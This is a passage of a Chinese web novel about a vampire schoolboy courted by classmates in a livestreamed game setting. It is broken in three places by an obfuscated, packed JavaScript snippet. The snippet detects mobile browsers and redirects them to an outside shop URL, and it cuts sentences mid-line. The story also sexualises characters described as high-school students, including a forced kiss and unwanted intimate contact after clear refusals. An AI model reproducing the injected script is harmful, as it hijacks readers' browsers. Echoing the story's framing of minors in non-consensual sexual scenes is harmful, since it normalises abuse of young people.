他喉结滚动,脑中混乱的画面让他不敢直视枣芩的眼睛。 在枣芩面前想那些事,有种罪恶感,哪怕是真实发生过的事情。 “我不会告诉别人。”宋呈不想让他害怕,视线不由自主的移向唇瓣。枣芩很爱折磨自己的下唇肉,雪白牙齿无意识咬着一点,慢吞吞碾磨,像是在思考问题。 枣芩:“哦。” 被别人知道自己是个血族好奇怪,简直跟被扒光衣服似的,很别扭。 系统:【……只会觉得别扭吗?】 枣芩迷惑问:【什么意思啊。】 枣芩猜测可能是玩家的特殊技能吧,通过一些手段知道了他是血族。 不然他装得这么好,从来没有表现过一点血族的特质,怎么可能有人发现得了他。 枣芩赞成地点点头,肯定是这样。 楼梯又下来几个学生,看样子是基本检测完了。 枣芩不想再见到吸血鬼猎人,拽住宋呈的一角衣服,抬头看他,催促说:“我们快点去餐厅吧。” 眼看着就快到餐厅了。 枣芩和宋呈走的好好的,枣芩又在问他关于道路什么的。 枣芩忽然被挤了一下,力气很大的手臂揽住他的肩膀,不是宋呈会做出的事情。 一抬眼,身边的人已经换成了秦子率那张桀骜不驯的脸,正扯着唇角看他。 “秦子率。”枣芩声音抬高一个音,听起来很惊喜似的。 秦子率被枣芩那双看到他之后亮起来的眼睛,弄得整个人都酥麻不已,应了声,“诶,叫得真好听。” 枣芩燥的慌,被搞的头都要冒烟了。 秦子率很会逗他开心,也很会惹他。 枣芩把他搭在自己肩膀上的手甩下去,翻了个白眼,快走表达自己的生气。 秦子率对惹枣芩好像有什么瘾,每次弄生气又自己低三下气的哄。 虽然很折磨自己,但哄人也挺爽的……酸爽。 “芩芩。”秦子率忙两步跟上去。 “枣芩。” 两句叫他的话是一起出声的。 枣芩看了眼秦子率,愣了下才回头,他刚刚和秦子率说话,把宋呈忘在几米后头了。 宋呈眉眼压得很低,薄唇显得更为凉薄。枣芩回头看他他才上前,在握住枣芩的另一只手,拉着他就要走。 可枣芩的另一只手还被秦子率捧着。 秦子率见枣芩葱白手指被宋呈握在手心,一股火气升腾,顿时爆了句粗口,“我靠,你干什么?” 宋呈依旧那副没有表情的模样,但面对秦子率时,总隐隐透着几分刻薄。 他并没理会秦子率,而是面对枣芩:“我们快走吧。” 枣芩嘴巴张了张,有些不知所措。 周围有些同学看到这一幕,停了下来看他们,枣芩耳根立马涨红。 搞什么啊? “松开他的手。”秦子率过去,深绿色的瞳孔似狼一般盯着对方,握住枣芩瘦瘦白白的手腕,他也不敢太用力,只轻轻捏着,等着宋呈撒手。 他站在枣芩后面,枣芩被夹在两人中间,想离开偏偏手还没握着。 他垂着头,浑身发麻,被别人的视线搞得快尴尬死了。 宋呈看着秦子率的举动,脸上浮现一丝讥讽,眉头微皱,“我牵我对象你有意见?” “……你对象?”秦子率挑着眉毛一愣,随即忽然“呵”了声,虎牙露了出来,尖锐锋利,“哥们,天还没黑就做春梦啊。” 他一字一句说:“你不知道吗?我跟芩芩已经在一起了,没看出来吗?” 宋呈依旧神色淡淡,光看着就知道他没有相信秦子率的话,反而像看跳梁小丑般划过对象。 秦子率缓缓摇头,看向枣芩时,已经换了一副表情,“芩芩,你快告诉他。” 一句话所有的视线都来到枣芩身上,他被突如其来的混乱场景搞得不知道该怎么办。 只能如实点点头,“啊……嗯。” 确实是在一起了,他亲口答应的。 宋呈神色顿住,他怀疑自己听错了,“什么意思?” 趁这时候,秦子率将枣芩的手抽出来,囊括进自己手心,包裹住,“就是他是我男朋友的意思,懂了吗?” 他因为枣芩的一个字气焰嚣张起来,“不是,大哥。他不是我男朋友还能你男朋友?你每次欺负他哪次不是我安慰的,你把他弄伤,腿上一大块淤青也是我涂的药,一直哭也是我哄好的。你对我家芩芩一直臭着张脸,他是多没有脾气才能跟你在一起?” 枣芩扣扣发烫的脸颊。 好像也没有很大一块伤口吧?也没有一直哭吧。。 明明顶多就哭了一下。 【好骂!】 【宋狗你居然干过这种事情??我再也不同意我宝跟你走这么近了】 【好好好,怪不得芩芩那么怕你。】 【脸蛋已经红得不行了,再说真的要哭了!那个绿眼睛麻烦你闭嘴。】 枣芩是和宋呈一起来餐厅的,却是和秦子率一起吃饭的。 秦子率身高腿长在餐厅座椅有些坐不开,只能曲着腿,他盯着枣芩小口小口吃着饭,枣芩吃饭慢还总是省点,枣芩快吃完的时候他再开始吃都不是问题。 呆呆的,很可爱。 而枣芩满脑子都是,宋呈不会生气吧,生气了还会保护我吗?要不要晚上找他道歉? 吃完饭回到宿舍内,他感觉自己身上脏兮兮的。 爱干净的枣芩根本无法忍受,一进宿舍就立马进到卫生间,用热烘烘的水冲洗身体。 半睁着眼睛倒沐浴露的时候,枣芩才发现自己的进口沐浴露瓶子空了。 热雾缭绕中他皮肤雪上覆了层水光,睫毛上坠着水珠,满脸错愕,倒了好几下什么都倒不出来。 便把视线放到架子上其他人的东西上。 不用别人的东西是寝室舍友之间的共识,更是一条潜规则。 他们每个人的沐浴露都还剩大半瓶,好像在引诱着枣芩去使用它们,他只是内心稍微斗争了下。 卫生间的门被敲了敲。 秦子率的声音透着门,穿过雾气,变得朦胧不清,“芩芩,没事吧,你洗了好久了。” “快了。”枣芩微仰头回了声,咬着舌尖,他选中了秦子率的那瓶,白色的很大一桶,感觉一年都用不完。 枣芩一点点涂抹到自己身上,感觉自己整个都滑溜溜的,他嗅嗅味道,感觉像薄荷味。 洗完开门时候,枣芩被吓了一跳。秦子率就柱在门口,怔怔看着他,跟着呆子一样。 “你穿衣服啊。”他说了这么句。 枣芩只觉得莫名其妙,当然要穿衣服了。 枣芩穿了件很大的白色T恤,将平直精致的锁骨露出来,胸口开了很大一片,全是白的,随便一动感觉还要往下掉。 再往下是一双白皙修长的腿。 没穿裤子…毕竟T恤很大。 秦子率鼻血都要冲出来了。 他跟着擦头发的枣芩一路去到他床边,湿润的黑发被擦得半干,这种天气都不需要吹头发,没多久就会干了。 枣芩站在自己床边,有些茫然地看着他,不知道他跟着自己是要干什么。 秦子率也不说话就盯着他看。 枣芩眉头皱起,“你又要干嘛?” 秦子率凑近他的温热的皮肤,几乎是在他话出口的那瞬,搂着他坐到了床上,“好香……” 枣芩脸红了秒,有点怀疑秦子率在暗示,他知道了自己用了他的沐浴露。 可是身为男朋友,连沐浴露都不让用的话就太小气,太抠门了点。 秦子率当然闻到了,一清二楚的。 他巴不得枣芩用他的东西。 被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986214|137060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己的气息浸染,被他的气味所标记,好像此时所有的一切都与他缠绕在一起。 成了他的一样。 不对,芩芩不喜欢这么说,那就像他成了芩芩的一样。 “芩芩,宝宝。”他黏黏糊糊的把有点扎的头凑到枣芩脖颈前,灼热气息喷洒在枣芩雪白皮肤,嗅闻着他身上的香味,一个劲的嘟囔,“好香。” 枣芩被蹭的满脸通红,细白手指轻轻推动着他的胸口。他都被秦子率的头发扎的疼了,颤着声音不耐烦说:“疼。” 听到他说疼,秦子率才抬起了头,不用头发扎他,而是看着他的脸,“哪里疼?” 枣芩推他的肩膀,侧过脸,“你快回你床上去,我要睡觉了。” 秦子率看着枣芩的脸,只想多贴贴他,“男朋友陪你一起睡。” 枣芩听到这句话心跳砰砰直跳,攥住自己的床单汲取安全感。 秦子率满脸写着想做点什么,枣芩好害怕自己被欺负了。 宋呈肯定是他喊疼也只会随便哄几声,但该怎么样还怎么样的人。 他想着,被热气蒸红的脸都有点白,坚决摇头,“不行。” 秦子率发愣,稍微坐直了些身体。 枣芩拒绝的态度很明确,眉头皱着,侧着脸真的很不愿意的模样。 “不想我陪你睡啊……”秦子率苦着脸。 “太快了,我们今天才在一起,你就想跟我睡觉了。”枣芩垂着眼睛,看着男人撑在他床上的手背,他力气真的大。 本来只是为了给秦子率解释,说着说着越觉得自己对了,他脑海中闪过一个念头。 突然抬头诘问秦子率,“你跟我在一起就是想和我睡觉吗?” …… 空气安静两秒。 秦子率一时间愣住了,没想到枣芩会突然问这么个问题,但很快反应过来摇头,“不是。” 但枣芩却因为他略长时间的怔愣,睁大了眼睛,仿佛觉得自己猜对了,“我懂了。” “我不是!不是不是。”秦子率急忙摇头。 完了完了。 枣芩已经完全像个被骗身骗心的小男生垂下了头,一言不发,不知道在想什么。 “我没有,我没有想真的那个……我,我就想闻闻你。”他红着一张脸,仓促解释,“开窗效应,你就会让我闻闻你了。” “你对我那么好。”枣芩闷闷说了句,秦子率立即点头,“对啊,宝宝。” 枣芩声音软软,话锋却忽然转了,“不会是在别人身上练出来的吧,然后再用到我身上。” ??? 秦子率真的要痴呆了,不知道枣芩的小脑瓜是怎么转的,一下想到这么远这么古怪的地方。 枣芩嘴巴一抿,还在分析,“你长得挺好看的,对人也好,像网上说的那种中央空调,你都这么大了,不可能没有谈过恋爱吧。” “你还是学生会的,听说你之前运动会还得过奖……不过没听说过你谈恋爱啊……” 枣芩吸了口气,惊讶说:“啊,难道是搞暧昧,听说很多那种坏人同时跟很多人保持暧昧关系,但是说自己单身的。” 枣芩一个人嘟嘟囔囔,已经快把秦子率弄碎了。 他想要开口又不知道怎么说,他解释不清了,就因为最开始的一句陪枣芩一起睡。 然而他说那句话的时候,也没有想别的,真得就是嘴一下没把住。 “我靠,我没有啊,我什么时候跟人搞暧昧了。”秦子率快疯了,感觉自己委屈的要命。 他都没有过任何好感的人。 “嗯……”枣芩那副样子明显就是没相信,撅着嘴巴,说不定脑子里还在想什么关于他的乱七八糟的事迹。 秦子率整张脸急的发红,“你是我的初恋啊,我就喜欢过你一个!” “……” “别把我说的那么脏行吗……” 15. 第 15 章 枣芩看着秦子率满脸打击到,没了想欺负自己的想法,心里那根弦松了点,正打算瞎糊弄两句,让他回去睡觉。 突然浑身向下倒去,被人按在柔软枕头上,枣芩错愕睁大眼睛。 秦子率撑在他身体上方,忽然俯身吻住了他,含糊不清说了句:“堵住嘴就不能瞎说了。” 他闭着眼,满脸陶醉嘬着枣芩的软嘴唇,把又小又浅的唇珠都弄鼓起来了。 枣芩没怎么亲过嘴,总共这才是他的第二次初吻! 简直跟上次一样让他讨厌。 枣芩两手推拒着他的肩膀,发出“呜呜”的声音,胸口起伏、开始装哭。 秦子率很快睁开眼,眼中还是升腾的潮热,他放过了枣芩的唇,“芩芩。” 枣芩发丝散开,小脸白里透粉,嘴唇被亲得湿漉漉。察觉到秦子率还看着自己的视线,他忙用手臂挡住自己的下半张脸。 “我要睡觉,你快点让开!” 秦子率不知道在想什么,跟枣芩商量,“我闻闻你就去睡觉好不好?” 比起被这么亲,枣芩还是更愿意自己被闻闻,反正他什么感觉都没有。 他跟系统吐槽,【他真是个变态,喜欢闻沐浴露的味道。】 面上只是点点头,算是答应了。 可紧接着对方的动作让他浑身僵住。 要开蚌壳,就要趁着蚌壳没反应过来的时候拨开,用东西阻挡住,这是最简单的方法,不然很难才能弄开。 嗅闻下去,原本覆盖在上的味道就不甚明晰,更清晰的是本身的味道,好像从最中间的珍珠散发出来的。 枣芩脊背发颤,本来是在装哭,可眼前的一切,把他吓得要真哭了。 “变态……!别这样……”枣芩声音没有压抑,他很快挣脱缩着坐起来,缩在自己床的角落里。 秦子率跟傻了一样,还跪在枣芩床上,后知后觉舔了下唇,“我不是变态。”他思索一会,“……芩芩,你打我吧。” 他都不知道自己是怎么回到自己床上的,满脑子都是从那个角度,闻到的味道和枣芩的惊诧的表情。 还有骂他“变态”。 他好像真的变态了。 【md,我老婆叫的我又难受又爽的。】 【n。t。r。】 【里面在做什么,主播快推门啊,捉奸啊,你在干什么?】 【猪ber,我就说这里有情况吧,我从别的直播间过来的,里面香艳的很】 被催促推门的宋呈站在门口,脸色陷在阴影之中,听着里面发出的声音,靠在墙上,过了很久才推门而入。 而另一个人,同时停止了自己的窥视。 今晚就如前一晚。 枣芩提前睡了一会。在听到宋呈起身的时候也立即跟出去,紧紧贴着对方的脚步,小声问:“今晚要去哪里啊?” “a区。”宋呈道。 枣芩屏住呼吸,攥上宋呈的衣袖,“真的吗?我们走快点。” 宋呈停住脚步,转身居高临下对枣芩道:“是我,不是我们。你回宿舍去,以后不许晚上出去了。” 啊? “为什么?” 枣芩一时间满头雾水,在他目光压迫之下,动作很慢的回了宿舍,关上门。 他听着宋呈的脚步声逐渐离开,胸口后知后觉涌起憋闷感,待到听不见宋呈的声音再次推门而出。 他不跟着宋呈难道就不能找线索了吗? 他对a区多熟悉,他们三个玩家再多待几个月都不可能有他了解的多。 一片黑暗,凉风簌簌。 枣芩刚走出大门,外面比起里面多了些呼呼的风声,他没忍住瑟缩了一下。 b区的大门是没有门卫的,但是ab区之间的门却有着门卫。 他不知道宋呈他们是怎么过去的,但枣芩有自己的办法。 ab两区的墙边都是树林,他要穿过黑黢黢的树林,从墙上翻过去! 枣芩打开手机的手电筒举着胸前,并不算明亮,但勉强可以消除一些枣芩的恐惧感。 还没走几步,手机屏幕就倏地亮了。 他颤着睫毛去看,发消息的是烬,那个黑白漫头中二少年。今天醒来他就看到这人在给他发消息了,但是没理。 这人比枣芩还像血族,都不怎么睡眠,每隔几个小时就给枣芩发几条。 【所以谁亲的你?】 【你报警了吗?】 【别买那种临期的血】 【你没钱?我这里有特制的,你要吗?】 【你多少岁了,你要保护好自己】 【你很忙?】 …… 【你习惯白天睡觉还是晚上睡觉】 简直就是没话找话。 可枣芩看着对面发来的消息,哪怕是通过手机沟通,那种全世界只剩下自己一个人的感觉明显消失了。 也是为了让自己转移注意力。 枣芩呼出口气,按着语音键回了句,“我习惯晚上睡觉,因为我还要上学呢。” 枣芩边朝着一片漆黑的林子去,边看着聊天页面上方断断续续显示的【对方正在输入中……】 让自己把注意力放在对方会说什么上。 过了好一会,发过来的是条语音。 而点开语音,是出乎枣芩意料的,明显就是成年男人的低哑声音。 那边环境很安静,男人嗓音压着,“你原来是学生,其实我也是,只不过我去学校不多。” 枣芩嘴巴都因为惊讶张开了,对方听起来要比他大,跟他想的“中二少年”形象完全不一样。 而枣芩再抬头的时候,他已经不知不觉走近林子外缘。 林子之中的恐怖程度比外面多了好几倍,不知是树叶被风吹动还是虫子鸣叫,总是发出奇怪骇人的声音,从四面八方而来,包围着枣芩整个人。 枣芩握着手机的细白手指又紧了紧,抿着嘴,心里又说了宋呈坏话。 明明说了保护他,还不是害得他走这么黑这么吓人的路。 这种环境下,枣芩莫名不太敢说话,而是打了字。 【你现在能跟我打个电话吗?】 放低姿态的请求,是对方未曾见过的枣芩的态度。 微顿后,弹出来一个视频通话界面。 两个视频框里,是一样的黑色。 …… “你一个人在外面吗?这么晚。”烬的声音称得上温和。 枣芩闷闷“嗯”了声,接了视频后手电筒就灭了,月光下透过树叶的缝隙,路还能隐约看清。 比起手电筒,他更需要陪他说话的人。 枣芩声音细弱的说:“你多说说话,给我讲故事也行,但是,要那种温馨阳光的故事,不要吓唬我。” “……行。” “从前有一个小猫,他、是白色的。” 李知樾哪里给人讲过故事,他连故事都没怎么听过,可是小男生软着声音让他讲,他讲不出来也得讲。 或许是他瞎编乱造的故事还算有趣,他讲了一个小猫不畏困难冒险的故事,枣芩很顺利就把小猫代入了自己。 在来到墙边后,他扶着墙,长舒一口气,感觉自己特别特别厉害! 居然一个人在深夜穿过了世界上最恐怖的暗黑森林。 两区之前的墙不算高,他翻过去一点都不是问题,枣芩摩拳擦掌,充满自信心。 直到站在墙下面,他往上跳了好几下,连墙头都没摸着,反而把自己累的气喘吁吁,弯着腰蹲在地上。 手机被他放在口袋里,枣芩一个劲的说话,“为什么会把墙建的这么高,什么居心啊。” 李知樾:“……对” 他耳边全是自己呼吸心跳的声音,完全没有注意到身后的动静,直到身后蓦然响起人类男性的声音:“大半夜在这里干什么?” 枣芩浑身发僵瞬间出了层冷汗,他回头在黑暗中看不清对方的面容,隐约可见身体轮廓巨大,站在枣芩面前,像是一个怪物。 在枣芩心脏乱跳,已经开始想着怎么跑掉的时候,黑影忽然顿了片刻,说:“你是宋呈的男朋友?” 对方认出了他。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986215|137060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 枣芩扶着墙站起身,后知后觉反应过来对面的人是谁,脑子一乱,开口叫了声,“哥哥。” 叫出声,他自己都愣住了,脸颊迅速发烫,他要被自己蠢哭了。 先不说他就不是宋呈的男朋友,就算是,才只是谈恋爱就叫别人的哥哥。听起来好像就是他笃定他会和宋呈成为一家人一样。 “嗯。”对方却应了。 口袋的手机里,李知樾安静的没出声,听到枣芩有男朋友,他眉头皱起。 似乎是遇到他男朋友的哥哥了。 “你在这里干什么?”宋闵声音低沉,有一种很可靠的感觉。 枣芩扣着自己的手指,开始瞎说八道,“我是跟着宋呈来的。” 宋闵怔愣,此时已经是深夜,他弟弟一个普通学生出来干什么。 他有些无法控制自己的思绪,他弟弟大半夜的把人带到这里,一个人都没有的寂静小树林。 学生宿舍通常都是四人寝室,据宋闵所知,宋呈从来没有利用父母的身份要求过特殊对待。 四人寝晚上要对漂亮男朋友做点什么很不方便,一开始可能会选择卫生间这样的地方,但是也依旧非常容易被舍友发现,时间长了也不是办法。 而高中的男生,正是各方面的欲望最强烈的时候。于是宋呈就带着单纯不懂世事的小男朋友来到了小树林。 小男朋友因为害怕,也不敢发出声音,只能抿着嘴巴,眼泪汪汪任由着他什么事情。 宋闵简直不敢想自己的弟弟是这种人。 这只是他的猜测,可他想不到另一个他弟弟大半夜把人带出来的理由。 “他人去哪了?”宋闵的语气不由得严肃起来。 “……a区,他跟他朋友去a区了。”枣芩指指墙,虽然偶尔会撒谎,但是说瞎话的时候还是攥住了自己的衣角,有点羞耻。 “a区?他和朋友走了,把你丢在这里?”宋呈眉头皱起,将不太好看的脸色压下去,“我先送你回去。” 枣芩瞬间急切起来,怎么就要送他回去了,“不行啊,不行啊,我要去找他。” “他要去过去找他的。”他去抓男人的袖子,却意外抓住了手,宋闵穿着制服,袖口都是贴在胳膊上的。 枣芩也不方便再拿开,用乞求的语气说:“他今天生气了,带我过去吧。” 宋闵长这么大,还是第一次被这种漂亮小男生牵手,下颚紧绷着,在黑暗中装作面无表情,哪怕根本没有人看得到。 于是莫名奇妙的,涨闷不已的心脏让他答应了对方,“好。” 之后的事情是他没想到的,他怀疑是自己训练多了,体力超常,而枣芩这样的才是正常人的体力,根本就墙都上不去,托着他的轻飘飘的体重,抱着他细瘦的腰往上送都送不上去,也是实在无奈了。 枣芩都已经窘迫到说不出话了。 他干脆蹲下身子,拍拍自己壮硕的肩膀,“踩着我肩膀,扶着墙,等我站起来,你就坐到墙上去。” 枣芩“嗯”了声。 扶着宋闵的肩膀,按照他说的,双手扶着墙,抖着小腿站起来,细声细气的说:“好了,已经站起来了。” 宋闵感受着肩膀上的重量,一下子站起来,完全忘记考虑枣芩不像他们那些糙汉子天天训练的战友。 身体一晃,枣芩一下身体向后倾,脚往前面滑。 抱着被摔下去的想法,他的小腿被人握住,枣芩心脏剧烈跳动之间,抱着什么东西稳住了自己的身体。 他靠在那东西上面喘息,好一会才在男人僵硬的一句“没事吧”中回过神。 宋闵人已经没了。 枣芩骑在他的脖子上,慌乱的抱着他的头,手刚好捂在他的鼻子上,一阵阵香气往他鼻子里面灌去。 而两条腿因为太紧张,紧紧的夹着他僵硬不已的脖子,像是什么东西一样。 宋闵的手为了稳住枣芩还握住他的小腿上,此时感觉不像自己的了。 “抱歉,不好意思呜。”枣芩含含糊糊,根本就已经不好意思说话了,“你把我放下吧,对不起。” 16. 第 16 章 静谧夜色中,宋闵吸了一口气,稳住自己的声音:“你自己扶着墙站起来上去。” 宋闵很给人安全感。如果换成秦子率,肯定会把他放下来哄,然后越哄,他可能就越觉得真是什么大事。 反倒是宋闵这种平静的态度,让枣芩也跟着平静了下来。 也没有非常高呀,难道他还上不去吗? 枣芩一点点地站起身来,手使劲扒住墙头,先将一条腿跨上去,□□,慢慢地骑在墙上坐好。 虽说黑暗中没什么美妙风景,枣芩还是下意识地兴奋起来,朝着下面的男人说:“我上来了!” 下面的宋闵一言不发,动作干脆利落,枣芩只觉眼前黑影一闪,宋闵已然到了墙的另一边。 他拍了拍手上沾染的灰尘,张开双臂,“跳下来。” …… 枣芩眼睛一下子睁大。 有点太快了吧。 虽然从高处看,心中还是紧张,可枣芩不想拖后腿。 他把另一条腿也抬了过来,坐在墙边缘,凉风拂过同样微凉的脸颊,枣芩咽了口口水,“宋呈他哥哥,你要接住我,别让我摔下去。” 宋闵听到这个称呼微愣,向上抬着的手指节蜷起,语气没什么起伏:“不会让你摔。” 枣芩深吸一口气,鼓起勇气,几乎是闭着眼朝着宋闵所在的落下去。 那个怀抱很结实,对方一只手抱着他的屁股,牢牢箍着,满手的软肉。一只手环过他的腰。 枣芩在他怀里微微喘息,他原本还觉得宋闵有些吓人,可现在却只认为他只是严肃了些许,实际上人还是很不错的。 他说想去找宋呈,对方就把他带了过来,这是他离开a区后第一次再踏进这里。 枣芩侧过脸看向宋闵,发自内心地说道:“谢谢你带我过来。” 脑中火烧一般的宋闵感受到脸侧潮热的呼吸,看着黑墙的目光直直,手心滚烫,语气毫无波澜:“没事。” “但是能不能先把我放下来呀。”枣芩被这样抱着很不舒服。 话一出口,他就迅速被放下。 宋闵高大身子转过去,背对着他,“怕你摔了。不用谢,我本来也要过来的。” 是在回应枣芩的话。 枣芩随手拍了拍屁股,抬起头,脑袋一时没转过弯,“本来也要过来吗?” 宋闵:“嗯,过来捉吸血鬼。” 仿佛只是随口一说的语气,都不知道这句话在枣芩的心中激起巨浪。 他差点忘了,宋闵还是个吸血鬼猎人。 枣芩闭上嘴巴,不由得后退两步离宋闵远点。 枣芩尬笑两声,说:“我就先走了,你自己慢慢捉吧。” 他小步挪走,他还是宁愿忍受黑暗的恐惧,就不跟这个吸血鬼猎人走一起了…… 才刚走出没几步,却被人揽着腰一把拽了回去,躲到了树后。 枣芩腰细,宋闵一只胳膊就能给他圈住,还多余。 不远过门处,门卫开了门,将四个身着黑衣,戴着黑色面具的男人放了过来。 枣芩错愕地张开唇,虽然那天晚上他并没有明确的像现在一样看到男人面具的模样,但他笃定,那男人就是这几人中的其中一员。 他不由得抓住宋闵的手臂。 四个面具人似乎跟门卫很熟稔,话都没说一句就直接开了门,手中拿着几个箱子大步朝着校园内走去。 就在枣芩想要跟宋闵说点什么时,其中一个高个的面具男人突然转头如有所感朝他们看过来。 枣芩的心脏一下提到嗓子,连呼吸都不敢了。 但好在对方只是看了一眼,就转身和另外三人很快朝a区大楼进去。 枣芩才泄了浑身的力气,坐在湿润的泥土地上喘息。 “看来猜对了。”宋闵低沉声音在自言自语。 枣芩觉得是什么线索,忙问:“什么?” 宋闵道:“宋呈说吸血鬼来自a区,看样子像是夜里去b区狩猎。” 枣芩慢吞吞挪开自己的眼神,不得不承认,他们猜对了。 血族确实来自a区,他自己就是。 顺着那几个人离开的方向,两人行踪还算隐秘跟了过去,看着四人去了左侧的教学区。 枣芩曾在这里待过一年,对这里的环境布局无比熟悉。 计算着上楼梯的脚步声,一直到彻底消失,枣芩才攥着男人的衣服,小声说:“我感觉他们去了五楼,或者顶层六楼。” 宋闵应了声,“嗯。” 枣芩眉眼垂着,心里有些不开心,他都把自己计算出来的告诉宋闵,宋闵都不夸他或者谢谢他。 他松开手,干脆自己先上楼梯了,宋闵紧接着跟上他。 才走到二楼,就听到怪异的声响,像是人类对话声忽然安静下来。 宋闵从腰后掏出手枪,立即将枣芩护在身后,朝着声音发出的地方缓步走去,同时举起枪。 枣芩手忙脚乱掏出手机,打开手电筒,帮助宋闵照明。 视线一亮,却看到了不远处两张同样戒备的面容。 “宋呈……”枣芩出声,一张粉白的脸从宋闵身后探出来。 对面的宋呈神色一怔,收回武器,脸色并不好看。他几步过去,当着另外两人的面,握住枣芩的手腕拉到自己身侧。 没有问他怎么来的,也没有问他为什么来。 宋闵视线扫荡,收起枪,“你们两个小孩过来太危险了。” 宋呈:“谢谢提醒。” 他连白天装出来的和善都没有了,因为他直播间的弹幕已经彻底疯狂了。 【老婆开门,我是我弟。】 【天呢,我宝的屁屁脏脏,这是发生了什么!!!】 【兄弟盖饭】 【哥哥看起来老实人,没想到你也……】 【深夜教室4。。。p】 枣芩满脑子都是那四个面具男,可是除了他,他们好像没一个人在意。 他忙扯扯宋呈的衣服说:“他们上顶楼了。” “谁?”说话的是付凯宁,他也走了过来。 枣芩连忙跟玩家共享信息,心里有点小骄傲,下巴不由自主微抬些,“就是他们从b区过来,手里还带着箱子,四个男人,跟那天晚上……” 他卡壳一下,对着宋呈说:“和那天晚上跟你打架的那个人穿的一样,戴的也是一样的面具。” 宋呈若有所思,随后不知道是在和宋闵还是枣芩说话,“这里的学生也有吸血鬼。” 付凯宁解释,“我们用了一些方法,发现这里的学生有一部分对血产生了反应。” 只是放出了一些血,a区宿舍就在半夜开了好几扇门。 空旷走廊中,宋闵表情愈发凝重,“这些不关你们几个学生的事,太危险了。” “而且你更不能把自己的……朋友,带出来就不管了,不能这么不负责任。” 宋呈视线散漫一瞥,不等他多说,“那我们现在就回去。” · 枣芩发现他们过来时也是翻墙,跟他也没什么两样。 比起宋闵,宋呈直接将他扔到背上,枣芩一脸错愕,宋呈让他用腿环住自己的腰,带着他翻了过去。 付凯宁与他们分开回了他自己的宿舍。 一路上,宋呈一句话都不说,仿佛枣芩不存在一样,却还握着他的手腕。 枣芩很不适应,嘴角向下撇,忍不住问:“你怎么不说话?” …… 宋呈停住脚步,转头一言不发看着他,月光从走廊窗户进来,宋呈眼神黑压压的,半天说了句:“怎么不和你男朋友在宿舍。” “啊?”枣芩想着不能暴露自己的特殊玩家,结结巴巴说:“我、要出来啊。” “出来找我?”宋呈凑近他,一错不错看着枣芩,整个身体的血液都仿佛变成了阴雨。 也不知道什么时候和秦子率在一起的,还大半夜一个人出现找他,明明胆子兔子大都没有,偏偏对上自己,就勇敢起来了。 枣芩被迫后退,手还抽不出来,直到背靠在墙上,“?” 宋呈声音闷闷的,“为什么要和他在一起?” …… “不是。”枣芩搞不懂,大半夜的自己为什么被这人堵在宿舍楼道,质问为什么和男朋友在一起,而他们的宿舍也就几步远,他男朋友此时正在里面睡觉。 “你在搞什么、我要回宿舍了。”枣芩眉心皱起,要把自己的手挣出来,却被宋呈趁机将五指都塞进指缝,严严实实扣在一起。 “为什么跟他在一起?”又重复了一遍,好像今晚不回答就不让枣芩走了。 枣芩真的好烦,额前手心都出了层细汗,又推不开面前高大的身体。 他呼出口气,眼睛斜睨着,“还能为什么,秦子率说他可以帮我,帮我回到a区。” 宋呈顿了顿,看着他不耐烦到有点生气的表情,嗓音低哑,“那你和他分手,我帮你。” 枣芩腰侧察觉到一只手的攀升,呼吸一促,忙拍开。 “我才刚答应他。”就要分手,让人怎么说啊。 那天秦子率的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986216|137060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,说的好像他们在一起很久了似的。 “他什么时候骗你答应他的?”宋呈问。 “就今天啊。”枣芩嘟嘟囔囔说:“你去上厕所,他拉我去了琴房,问我是不是和你在一起了,然后……” 枣芩话头滞住,抿着嘴唇忽然不说话了。 “然后什么?”宋呈紧紧注视着枣芩的抿的平直的嘴唇,看他泄露出一点的难堪神情,感觉自己就是一只被吊胃口的狗,偏偏还就急的不得了。 “他对你做什么了?” 枣芩哪里说得出口,露出烦闷神色,心里暗骂宋呈,希望他别问了,到这行了。 可这宋呈根本不像秦子率,看他生气就停止。 就那么僵持着,也不说话,时间仿佛僵住,枣芩不舒服动了动身子,细声细气说:“他骂我我就生气了嘛,然后他就说喜欢我,还可以让我回a区嘛就。。” 明显还有话没说完。 “然后,然后,”他声音小小,跟蚊子叫一样,更显得这句话禁忌,“他就亲我了。” 说过那句,声音又放大,“他说下课来、” 话被宋呈的表情吓了回去。 他黑沉沉的眼神有一丝崩裂,“什么??” 枣芩被他这反应弄得一愣,“也不关你的事吧。” “不关我的事。”宋呈被气笑了,随即忽然凑上来,看架势就是要亲他。 枣芩忙用没被控制住的手臂挡住自己的嘴,只露着一双被吓到的眸子。 宋呈停住动作,眼中的气焰消散些许,轻轻撩开一些发,吻在枣芩雪白额间,像是在对待属于自己的珍宝。 “算了,你快点和那男的分手。” 枣芩睫毛颤了颤。 回到宿舍秦子率还在蒙头睡觉。 